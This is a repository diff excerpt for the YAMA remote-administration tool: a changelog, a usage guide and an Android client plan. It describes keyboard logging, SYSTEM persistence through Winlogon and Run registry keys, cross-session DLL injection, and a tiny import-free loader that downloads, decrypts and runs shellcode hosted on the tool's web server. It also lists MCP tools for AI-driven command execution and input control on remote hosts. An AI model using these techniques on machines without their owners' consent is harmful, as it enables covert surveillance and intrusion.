- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
**改進:**
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
**Bug 修復:**
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
**新功能:**
- **用戶端 SYSTEM 權限執行**:雙模式自動適配(SYSTEM / Admin / User),Winlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI,`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM(藍色高亮)/ Admin / User,一眼識別受控端權限上下文
- **遠端視窗管理選單(View Windows)**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
- **用戶端執行記錄對話框**:`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-free;IOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
- **訊息記錄搜尋列**:`LogSearchBar` 元件(286 行),關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
- **除錯選單(YAMA_DBG)**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
**改進:**
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
**Bug 修復:**
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
### v1.3.7 (2026.6.26)
**Android 用戶端 & 視窗擷取增強 & 安全加固**
**新功能:**
- **Android 用戶端**:首個 Android 受控端,支援 Android 5.0+(arm64-v8a / armeabi-v7a);MediaProjection + MediaCodec H.264 推流;AccessibilityService 觸控 / 按鍵注入;D-pad 焦點導航完整控制 TV / 機上盒
- **裝置分組**:編譯期 patch 預設 / 伺服端動態修改(`CMD_SET_GROUP`);分組名持久化至 `filesDir/yama_group`,App 重啟後保留
- **APK 產生與重簽**:BuildDlg 新增 `ghost - Google Android`,與 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自動偵測 SDK 完成重簽
- **伺服端刪除用戶端**:BYE 指令後 Android Service 透過 JNI 正常停止
- **前台視窗精準擷取**:PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
- **TOKEN_AUTH 回應 ECDSA 簽章**:V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`)
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
- **子授權連線數限制**:`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
**改進:**
- H264 模式跳過首幀 ~8MB 原始巨幀,伺服端在首 IDR 幀後解鎖畫面
- 自適應尺寸渲染改進,減少尺寸切換閃爍
**Bug 修復:**
- `ARGBToNV12` 奇數尺寸視窗堆積溢位(維度鉗制到偶數對齊)
- 連線初始化時多餘螢幕重啟(用戶端 `ScreenManager.cpp` + 伺服端 `ScreenSpyDlg.cpp` 雙端修復)
- 啟動時記憶體 DLL 未正確還原
- 授權用戶端鍵盤日誌目錄衝突(各實例使用獨立目錄)
### v1.3.6 (2026.6.14)
**ROI 區域擷取 & Web 音訊串流 & 主控介面可用性全面提升**
**新功能:**
- **ROI 區域擷取(Z 按鈕)**:工具列 Z 按鈕進入拖選模式,在遠端畫面上框選矩形後向用戶端發送 `COMMAND_SCREEN_ROI`,僅傳輸選定區域大幅降低頻寬;藍色虛線選框、三狀態機(Inactive / Armed / Active)、座標邊界鉗制;發送 `{0,0,0,0}` 可一鍵恢復全螢幕
- **Web 音訊串流**:用戶端 PCM 即時推送給瀏覽器觀察者,前端連續無中斷播放;全螢幕工具列新增 🔊 音訊開關按鈕
- **Web 頻寬讀出 & 可折疊工具列**:即時顯示接收頻寬(KB/s);工具列支援折疊以最大化畫面區域
- **Web 主機備註顯示**:線上列表中主機名稱旁直接展示備註欄位,無需懸停即可識別機器用途
- **可拖動分割條**:主介面主機列表 / 訊息日誌區域間新增可拖動分割條,取代固定比例版面
- **訊息日誌面板切換(HideMsg)**:選單新增 HideMsg(含 checkmark),一鍵隱藏 / 顯示訊息日誌面板
- **多處 CSV 複製**:線上主機資訊右鍵一鍵複製為 CSV;訊息日誌行亦支援選取後批次複製
- **`issue-token` CLI 子命令**:Go 主控新增命令列簽發客戶 JWT,無需 Web 介面
- **匿名試用模式**:使用者無需註冊帳號即可在伺服端配額內體驗;超額自動拒絕
- **AuthKernel 綁定機器 ID**:鑑權改用 Machine ID 提升多端部署識別精度
- **主控 / 伺服端一鍵解除安裝選單**:選單直接觸發受管端軟體解除安裝,無需登入遠端
**改進:**
- macOS 用戶端正確讀取品質設定檔(FPS / 位元率),支援超分辨率時硬體降級縮放
- 新增用戶端建置特性開關巨集,簡化合規定製情境的 binary 裁剪
**Bug 修復:**
- RTT 計算排除伺服端 UI 佇列延遲,消除數值虛高
- 非自適應捲動模式下影格邊界外殘留影像
- 子連線中斷(如 RDP)誤清主連線仍在線主機縮圖
- Shellcode+AES 載入器路徑 ServerDll / TinyRun 建置失敗
- macOS 觸控雙擊失效修復;捲動步長 10px → 40px
- 單顯示器擷取誤觸黑畫面偵測導致擷取無端重啟
- 鍵盤輸入日誌每 10 分鐘自動落盤,防退出時遺失
- 重連時 `share_list` 出現重複子用戶端
- `InitControl()` 呼叫時機修正,消除欄位標題空白
### v1.3.5 (2026.5.31)
**硬體編碼擴充(H.264 / AV1)& 多客戶授權生產化 & FRP 子級自動化**
**新功能:**
- **用戶端硬體編碼**:新增 FFmpeg 路徑的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可呼叫 NVENC / Quick Sync / AMF 等 GPU 編碼器;`EncoderFactory` 執行時自動優選
- **靜畫跳編碼**:擷取層比對前後影格,完全相同時跳過編碼與傳輸——硬體編碼器在靜畫時不再被強行餵入相同影格
- **選單驅動的壓縮 / 解壓**:自訂檔案 + 資料夾選擇器(`ZstaPickerDlg`),可從遠端主機直接選混合目錄樹打包或解壓到目標路徑
- **下級主控自動啟動 frp client**:上級簽發 V2 授權時一併下發 frp 設定,子級主控啟動即接通中繼鏈路,無需人工設定 `frpc.toml`
- **合規可裁剪建置**:`DISABLE_X264` / `DISABLE_FFMPEG` 編譯開關,可在不動原始碼的前提下產出完全不含 x264 / FFmpeg 的二進位,搭配 `LICENSE-THIRD-PARTY.txt`
**改進:**
- **多客戶授權伺服端硬化**:`licenses.ini` hot-path 互斥鎖 + 30s 節流,寫入頻率從 0.6 → 0.07 次/秒(外推 100 在線:~160 → ~3.3 次/秒);閉環「預設續期配額消失」的 read-modify-write 競態
- **`licenses.ini` IP 清單 4KB 截斷修復**:分段寫入避免溢出尾部被永久丟棄
- **匯入 SN 按 `BindType` 嚴格校驗**:避免離線版 / 連線版 / 試用版 SN 串庫
- **用戶端 SCLoader 大瘦身**:移除一萬行硬編碼 stub(`SCLoader.cpp`),改用主控執行時下發 DLL 注入
- **用戶端 logger 優雅退出**:程序結束時刷出佇列裡的日誌並記錄退出訊號
- **IOCPClient 早期封包防護**:`setManagerCallBack` 之前抵達的封包不再觸發空回呼崩潰
- **多顯示器游標位置修正 & MJPEG 錄製翻轉修復**:trace cursor 跨螢幕座標系修正;MJPEG 上下顛倒回放修正 + 編碼失敗 0 位元組 AVI 殘留清理
- **FRP `privilegeKey` 改用 UTC 時間戳**:跨時區主控 / 中繼 / 用戶端不再因本地時區讓 frp auth 失效
- **Linux 用戶端 `install.sh` / `uninstall.sh`**:補齊一鍵部署 / 解除安裝指令稿
- **Go 伺服端建置管線**:`build.ps1` / `build.cmd` 把 Go 主控納入主建置流程
- **Release / Download 連結全面遷移到 Gitea**:v1.3.4+ 不再發行到 GitHub
**Bug 修復:**
- Web 檔案管理觸控雙擊不穩:觸控閾值放寬避免誤判拖曳 + 兩次 `click` 模擬實體雙擊;修復跨平台資料夾重新命名 / 點擊無回應
- 向 sub-master 發送 AUTH 時密碼產生路徑錯誤,下級始終認證失敗
- 試用 SN 誤進入 V2 / V1 授權下發分支
### v1.3.4 (2026.5.20) ### v1.3.4 (2026.5.20)
**Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿** **Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿**
+80
View File
@@ -0,0 +1,80 @@
# YAMA 使用方法与技巧
## 编译程序
编译此程序需要Visual Studio 2019及以上版本。如果编译Go服务端,需要Go 1.25及以上版本。
除了直接通过Visual Studio打开项目文件进行编译,也可以通过以下命令进行编译:
- build.cmd: 编译YAMA.exe(自动提前编译客户端程序)
- build.cmd publish:编译YAMA.exe且通过upx压缩,所生成的可执行文件较小。
- buld.cmd server:只编译YAMA.exe,需保证所依赖的客户端程序已经编译。
- build.cmd go-server:编译 Go 服务端,可以选择带publish 参数进行upx压缩。
## Go 服务端
支持在Windows、Linux、MacOS系统运行,使得用户不再依赖Windows服务器来搭建远程控制系统,且部署Go服务端在Linux或MacOS具有更高安全性。
但是用户仍然需要有一台Windows电脑,使用YAMA生成客户端程序。
## 生成客户端
自版本v1.3.4起,不论是服务端/主控端,还是客户端/受管端,都支持在全平台运行(Windows、Linux、MacOS)。
关于在生成客户端时怎么填参数,参考早期在 GitHub 的[文档](https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数)。
此文档也许已经过时,但新文档没有准备好。因为生成客户端的逻辑没有改变,所以这篇文档仍然具有参考价值。
## 更新内嵌资源
参看 "server\2015Remote\BuildDlg.cpp" 描述,YAMA作为一个功能强大的远程管理系统,内嵌了包含客户端、开源工具在内的10多个资源。
较新版本的YAMA支持在不修改源代码、不重新编译的情况下,更新内嵌的这些资源。用户只需要在当前YAMA进程的目录下,增加res子目录,
将资源命名为如下所述的名称即可。例如编译了新版本的 frpc.dll, 将其放到 res/frps.dll 位置即可,重启YAMA即会使用该磁盘上的资源。
```
namespace ResFileName {
// Ghost 主程序
const char* GHOST_X86 = "ghost_x86.exe";
const char* GHOST_X64 = "ghost_x64.exe";
const char* GHOST_LINUX = "ghost_linux";
const char* GHOST_MACOS = "ghost_macos";
// TestRun 加载器
const char* TESTRUN_X86 = "testrun_x86.dll";
const char* TESTRUN_X64 = "testrun_x64.dll";
// ServerDll
const char* SERVERDLL_X86 = "serverdll_x86.dll";
const char* SERVERDLL_X64 = "serverdll_x64.dll";
// TinyRun
const char* TINYRUN_X86 = "tinyrun_x86.exe";
const char* TINYRUN_X64 = "tinyrun_x64.exe";
// SCLoader (Shellcode加载器)
const char* SCLOADER_X86 = "scloader_x86.bin";
const char* SCLOADER_X64 = "scloader_x64.bin";
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
// FRP 相关 (无架构区分,64位DLL)
const char* FRPC_DLL = "frpc.dll";
const char* FRPS_DLL = "frps.dll";
// 工具
const char* UPX_EXE = "upx.exe";
const char* RCEDIT_EXE = "rcedit.exe";
}
```
## 使用插件
将64位的Windows DLL放到Plugins目录,主控程序会加载DLL,且可以通过在线主机的右键菜单,将DLL发送的目标主机执行。
开发自定义插件需要遵循一些规范:https://simpleremoter.com/plugins
## 载荷分离
通过设置 Web 端口(默认值8080),来开启Web远程桌面,且本机会提供文件下载服务。将文件放置于该目录,从外部访问链接即可下载。
比如,生成服务端时,选择 Shellcode+AES, 开启文件下载,将载荷生成为单独的文件 "1.bin",将此文件放置于Payloads 目录。
访问 http://127.0.0.1:8080/payloads/1.bin 即可下载此载荷文件。如果本机具有公网IP,则127.0.0.1可替换为公网IP。在有公网IP的计算机开启Web功能,必须设置登录密码,否则存在安全风险。
采用载荷分离方式生成的程序,只有7KB,运行此程序会下载载荷,解密载荷中的Shellcode并执行。加载器源代码见 client\SimpleSCLoader.c,采用了高级编程技巧,无导入函数。本项目不提供任何“面纱”保证,且使用场景只限技术研究和学习。
## Web 远程桌面
通过设置 Web 端口(默认值8080),即开启Web远程桌面,在浏览器地址栏访问本机8080端口就进入Web远程桌面,默认的密码是admin。
如果本机有公网IP,务必修改默认密码,设置为较复杂的密码,否则可能被别人登录。Web登录已做防护,连续3次输入错误密码会冻结。
从外部访问Web远程桌面,需要域名和证书(浏览器H264解码硬性要求);Web 远程桌面支持2个主机同时在线,如需突破此限制,请联系管理员。
## 获取更多
访问源代码的docs目录,阅读本项目更多内容;也可以访问官方网站:https://simpleremoter.com,成为注册用户,可获取额外的资源与支持。官方网站将不定期地更新有关此软件的公告、用法、案例等内容。
+21
View File
@@ -0,0 +1,21 @@
# Build output
build/
app/build/
# Gradle cache and generated configs
.gradle/
gradle/gradle-daemon-jvm.properties
# Local config (contains SDK path, machine-specific)
local.properties
# Android Studio project files
.idea/
*.iml
# Signing config
*.jks
*.keystore
# Force-track prebuilt static libs (overrides root .gitignore *.a rule)
!app/src/main/cpp/lib/**/*.a
+266
View File
@@ -0,0 +1,266 @@
# Android 客户端开发计划书
> 目标功能:屏幕浏览 + 操作控制(触控/键盘输入注入)
> 参考实现:`linux/` 与 `macos/`,两者已验证的共用策略同样适用于 Android
---
## 一、代码复用分析
### 1.1 可 100% 直接复用(NDK 无改动)
| 文件 | 用途 | 依赖 |
|------|------|------|
| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C,无 OS 依赖 |
| `common/aes.c/.h` | AES 加密 | 纯 C |
| `common/commands.h` | 协议定义(全平台共享) | 无 |
| `common/client_auth_state.h` | 认证状态机 | 无 |
| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIX(Android NDK 支持) |
| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
| `common/rtt_estimator.h` | RTT 估计器 | 无 |
| `common/logger.h` | 日志 | 无 |
| `common/locker.h` | 互斥锁 | `std::mutex` |
| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理(Linux 已复用) | POSIX socket |
| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
| `client/sign_shim_unix.cpp` | 签名垫片(Linux/macOS 已复用) | `libsign.a` |
### 1.2 可参考逻辑、重新实现 Android 版本
| 现有文件 | Android 对应实现 | 原因 |
|----------|-----------------|------|
| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同(MediaProjection vs X11) |
| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同(AccessibilityService vs CGEvent) |
| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`(Phase 4) | 系统 API 不同 |
| `macos/H264Encoder.mm` | Android MediaCodec 路径(Java 侧) | 硬件编码器 API 不同 |
| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑,逐段移植 |
### 1.3 不复用(Windows 专属)
- `client/ScreenCapturerDXGI.h`、`client/IOCPBase.h`、`client/ScreenSpy.cpp`(Windows GDI/DXGI)
- `client/KeyboardManager.cpp`(SendInput API)
- `client/KernelManager.cpp`、`client/ServicesManager.cpp`
---
## 二、技术选型
### 2.1 屏幕捕获
**方案**:`MediaProjection` API(Android 5.0+)
```
MediaProjection
└── VirtualDisplay (Surface)
└── MediaCodec (Surface input,零拷贝)
└── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
```
- 无需 root,官方公开 API
- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
- **实际采用零拷贝路径(Path A)**:VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface,无 ImageReader 中间环节
### 2.2 视频编码
**已采用**:Android `MediaCodec`(硬件 H.264 加速)✅
- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU,零拷贝
- 关键帧前自动拼接 SPS+PPS,确保解码器可初始化
- 每 2 秒强制触发一次 IDR(兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器)
- 编码分辨率:长边限制 1080,保持宽高比,宽高各自 2 对齐(H.264 要求)
**编码流水线**:
```
VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
→ onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
```
### 2.3 输入控制
**已采用**:`AccessibilityService`(`ControlService.kt`)✅
| 事件 | 映射 |
| --- | --- |
| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径,UP 时判断:位移 < 10px → 单击(dispatchTap),否则 → 拖拽(dispatchTouchGesture) |
| `WM_LBUTTONDBLCLK` | 双击:两次 80ms 手势,间隔 200ms |
| `WM_RBUTTONDOWN` | 长按 600ms |
| `WM_MOUSEWHEEL` | delta > 0(滚轮上)→ 手指下划 +400px;delta < 0 → 手指上划 -400px |
| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
**关键实现细节**:
- 协议:`COMMAND_SCREEN_CONTROL` + MSG64(固定 48 字节),**坐标从 lParam(offset 24)读取**,与 Windows/Linux/macOS 客户端完全一致;不读 pt.x/pt.y(64-bit MSG 与 MSG64 的 pt 偏移不同,直接读会得到错误 Y 坐标)
- 坐标映射:`phys = enc * physSize / encSize`(编码空间 → 物理屏幕空间)
- 单击路径非退化:`moveTo(x,y); lineTo(x+1,y)`,避免 Android 静默拒绝零长度手势路径
- C++ → Kotlin 回调:`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
### 2.4 网络传输
与 Linux 完全相同的 POSIX socket 路径:
- TCP 控制通道(`IOCPClient.cpp` 已在 Linux 验证)
- KCP over UDP 视频流(`ikcp.c` 纯 C,NDK 直接编译,当前未启用)
- TLS/AES 加密复用 `common/aes.c`
---
## 三、目录结构(实际)
```
android/
├── PLAN.md # 本文件
├── README.md # 编译与安装说明
├── build_apk.sh # 编译脚本(release/debug/clean)
├── yama-release.jks # 签名密钥库(密码通过 YAMA_PWD 环境变量传入)
├── app/
│ ├── build.gradle
│ ├── proguard-rules.pro # 保留 JNI 方法名
│ └── src/main/
│ ├── AndroidManifest.xml
│ ├── java/com/yama/client/
│ │ ├── MainActivity.kt # 权限申请 + 启动 Service
│ │ ├── CaptureService.kt # ForegroundService:MediaProjection + MediaCodec
│ │ ├── ControlService.kt # AccessibilityService:手势注入 + 全局键 + 活动窗口上报
│ │ └── YamaBridge.kt # JNI 声明(nativeInit/Stop/SetScreenSize/OnH264Frame)
│ ├── cpp/
│ │ ├── CMakeLists.txt
│ │ ├── main.cpp # NDK 入口:连接/心跳/DataProcess/DispatchControlEvent
│ │ ├── ScreenHandler.h # 子连接管理:发送 BitmapInfo/H264 帧,接收 SCREEN_CONTROL
│ │ ├── android_compat.h # 平台兼容头(强制注入替代修改共用源文件)
│ │ ├── common/ → ../../common/ # 符号链接(commands.h 等)
│ │ ├── client/ → ../../client/ # 符号链接(IOCPClient 等)
│ │ └── lib/
│ │ ├── arm64-v8a/libsign.a
│ │ ├── arm64-v8a/libzstd.a
│ │ ├── armeabi-v7a/libsign.a
│ │ └── armeabi-v7a/libzstd.a
│ └── res/
│ ├── mipmap-*/ic_launcher.png # 传统图标(各密度)
│ ├── mipmap-*/ic_launcher_foreground.png # Adaptive Icon 前景层
│ ├── mipmap-anydpi-v26/ic_launcher.xml # Adaptive Icon 定义
│ ├── values/colors.xml # ic_launcher_background (#F2F2F2)
│ ├── values/strings.xml
│ └── xml/accessibility_service_config.xml
├── build.gradle (project-level)
└── settings.gradle
```
> **注**:原计划中的 `InputHandler.cpp` 已合并至 `main.cpp`(`DispatchControlEvent` 全局函数)和 `ControlService.kt`;`SystemManager.cpp` 留待 Phase 4。
---
## 四、开发阶段
### Phase 0:工程初始化 ✅ 已完成
- 创建 Android Studio 项目,配置 NDK + CMake
- `CMakeLists.txt` 引入 `common/`、`client/` 源文件(与 `linux/CMakeLists.txt` 同构)
- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`(纯 C,零外部依赖)和 `build_android.sh`,在 WSL + NDK r27c 下成功交叉编译,产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
### Phase 1:连接与协议 ✅ 已完成
- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
- 实现登录握手(`LOGIN_INFOR`)、心跳(`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算)、认证状态机(`client_auth_state.h`)
- 设备信息上报:ANDROID_ID(XXH64 作为 ClientID)、型号、OS 版本、分辨率
- 心跳日志限流:60 秒最多打印一次,避免 logcat 刷屏
### Phase 2:屏幕捕获与编码 ✅ 已完成
- `CaptureService.kt`:申请 `MediaProjection`,建立 `VirtualDisplay`,Surface 直连 `MediaCodec`
- SPS/PPS 缓存,IDR 帧发送前自动拼接,子连接 `COMMAND_NEXT` 后开始推流
- `ScreenHandler.h`:发送 `TOKEN_BITMAPINFO`(含 `ScreenSettings.QualityLevel=H264`),`SendH264` 封装帧头
- 服务端 H264 解码器正常显示 Android 屏幕 ✅
- 服务端适配:`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边,`m_offsetX/Y` 修正坐标映射(已合入 `main` 分支)
### Phase 3:操作控制 ✅ 已完成(branch: feature/android-remote-control)
- `ControlService.kt`(`AccessibilityService`):手势注入、全局键、双击/长按/滚轮
- `main.cpp::DispatchControlEvent()`:JNI 反向调用,将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
- `ScreenHandler.h::OnReceive`:子连接也可接收 `COMMAND_SCREEN_CONTROL`,统一调用 `DispatchControlEvent`
- 坐标 Bug 修复:64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同(MSG: offset 36,MSG64: offset 40);改为从 lParam(两者均在 offset 24)提取坐标,与其他所有客户端保持一致
- 单击无效 Bug 修复:零长度手势路径被 Android 静默拒绝;tap 改用 `lineTo(x+1, y)` 非退化路径
- 代码审查修复:JNI `ExceptionClear()`
### Phase 3 后期修复 ✅ 已完成
发现并修复的生产问题:
| 问题 | 根因 | 修复文件 |
|------|------|---------- |
| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化:无脏区时不向 VirtualDisplay 推帧,`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`:VirtualDisplay 临时 resize +2px 触发强制合成;`main.cpp` 在 `SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME`,`SendLoop` 将其当作 P 帧丢弃,首帧永远发不出 | `CaptureService.isNaluKeyframe()`:扫描 Annex-B NALU type 5/7/8 补充判断 |
| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃,`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁,只允许一条子连接 | `main.cpp`:改为 `std::set<AndroidScreenHandler*> g_screenHandlers`,`nativeOnH264Frame` 广播给全部 handler;每个 `COMMAND_SCREEN_SPY` 独立建立子连接,对齐 Windows/Linux/macOS 客户端行为 |
### Phase 4:系统信息与稳定性(进行中)
**已完成:**
| 功能 | 说明 |
|------|------|
| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`,通过 JNI `getActiveWindow()` 上报当前前台包名;锁屏时上报 `"Locked"` |
| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`,防止 5s 高频心跳耗电 |
| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`,与 30s 心跳间隔留出 4 倍余量 |
| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`,虚拟机无此节点时回退读 `/proc/cpuinfo` 的 `BogoMIPS` |
| 后台保活 | `ForegroundService` + 持久通知(Phase 2 已完成),豁免 Doze 模式网络限制 |
| 应用图标 | 自定义眼睛图标,支持 Android 8+ Adaptive Icon(前景层 + 浅灰背景),兼容各厂商形状裁切 |
| Release 签名 | `yama-release.jks` 随仓库分发,密码通过 `YAMA_PWD` 环境变量或交互输入,保证多机一致签名 |
**待完成:**
- 处理 `MediaProjection` 被用户撤销的情况(弹出通知,引导重授权)
- 连接断线自动重连后子连接同步重建(目前 `ScreenSpyThread` 有 20 次重试,但主连接重连后子连接未同步恢复)
- `WM_MBUTTONDOWN`(中键)手势映射(目前静默丢弃)
- `SystemManager` 封装:将 Java 层已上报的设备信息(型号、版本、IP)统一封装为独立模块
---
## 五、关键约束与风险
| 风险 | 影响 | 状态 |
|------|------|------|
| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决:`sha256_portable.h` + `build_android.sh` |
| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程,说明开启步骤 |
| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`,与 x264 现有配置一致 |
| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制,无解,提示用户 |
---
## 六、代码审查注意事项
### 最高原则:既有功能无破坏
增加 Android 客户端支持时,Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证:
| 检查项 | 说明 |
| --- | --- |
| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径,不受影响 |
| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
| `FindHostByClientID` 与 `FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程(OnInitDialog)调用,OnReceiveComplete 在 IO 线程调用,后者读 `additonalInfo[]` 为只读操作,低概率竞争 |
| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸,CSS 拉伸不影响坐标精度 |
